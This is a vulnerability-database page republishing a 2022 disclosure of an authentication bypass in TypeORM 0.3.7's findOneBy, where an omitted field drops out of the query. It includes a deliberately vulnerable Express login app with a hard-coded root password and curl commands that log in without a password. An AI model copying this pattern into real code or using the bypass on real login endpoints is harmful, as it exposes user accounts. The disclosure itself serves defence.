Lucene search
K

TypeORM 0.3.7 Information Disclosure

🗓️ 16 Aug 2022 00:00:00Reported by Andrii KostenkoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 601 Views

TypeORM 0.3.7 findOneBy Method Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
TypeORM SQL Injection Vulnerability
1 Jul 202200:00
zdt
0day.today
TypeORM 0.3.7 Information Disclosure Vulnerability
16 Aug 202200:00
zdt
GithubExploit
Exploit for SQL Injection in Typeorm
8 Dec 202510:17
githubexploit
ATTACKERKB
CVE-2022-33171
4 Jul 202216:15
attackerkb
Circl
CVE-2022-33171
4 Jul 202220:12
circl
CNNVD
TypeORM SQL注入漏洞
1 Jul 202200:00
cnnvd
Check Point Advisories
TypeORM FindOne Authentication Bypass (CVE-2022-33171)
2 Nov 202200:00
checkpoint_advisories
CVE
CVE-2022-33171
4 Jul 202215:51
cve
Cvelist
CVE-2022-33171
4 Jul 202215:51
cvelist
Github Security Blog
SQL injection in typeORM
5 Jul 202200:00
github
Rows per page
`I found what I think is a vulnerability in the latest typeorm 0.3.7.  
TypeORM v0.3 has a new findOneBy method instead of findOneById() and it is  
the only way to get a record by id  
  
Sending undefined as a value in this method removes this parameter from the  
query. This leads to the data exposure.  
  
For example:  
Users.findOneBy({id: req.query.id}) with /?id=12345 produces SELECT * FROM  
Users WHERE id=12345 LIMIT 1 while removing id from the query string  
produces SELECT * FROM Users LIMIT 1  
  
Maintainer also does not consider this a vulnerability and stated the  
root cause is bad input validation. I tried to contact Snyk, but they  
took the author's position. I still think it is a major vulnerability  
  
  
Vulnerable app:  
  
  
import {  
Entity,  
PrimaryGeneratedColumn,  
Column,  
Connection,  
ConnectionOptions,  
Repository,  
createConnection  
} from 'typeorm';  
import express from 'express';  
import {Application, Request, Response} from 'express';  
  
let connection: Connection;  
  
async function myListener(request: Request, response: Response) {  
if(!connection)  
connection = await createConnection(connectionOpts);  
const userRepo: Repository<User> = connection.getRepository(User);  
  
const { email, password }: Record<string, string> = request.body;  
const user = await userRepo.findOneBy({ email, password });  
return response.json(user ? 'ok' : 'denied');  
}  
  
@Entity({ name: 'Users' })  
class User {  
@PrimaryGeneratedColumn()  
id!: number;  
@Column()  
email!: string;  
@Column()  
password!: string;  
}  
  
const connectionOpts: ConnectionOptions = {  
type: 'mysql',  
name: 'myconnection',  
host: 'localhost',  
username: 'root',  
password: 'test123',  
database: 'domurl',  
entities: [User]  
}  
  
const app: Application = express();  
app.use(express.json());  
app.post( "/authenticate", myListener);  
app.listen(4444, () => console.log('App started'));  
  
  
Usage:  
  
curl http://127.0.0.1:4444/authenticate -H 'Content-Type:  
application/json' --data '{"email": "[email protected]", "password":  
"incorrect"}'  
"denied"⏎  
  
  
Exploit:  
  
curl http://127.0.0.1:4444/authenticate -H 'Content-Type:  
application/json' --data '{"email": "[email protected]"}'  
"ok"⏎  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Aug 2022 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 27.5
CVSS 3.19.8
EPSS0.05298
SSVC
601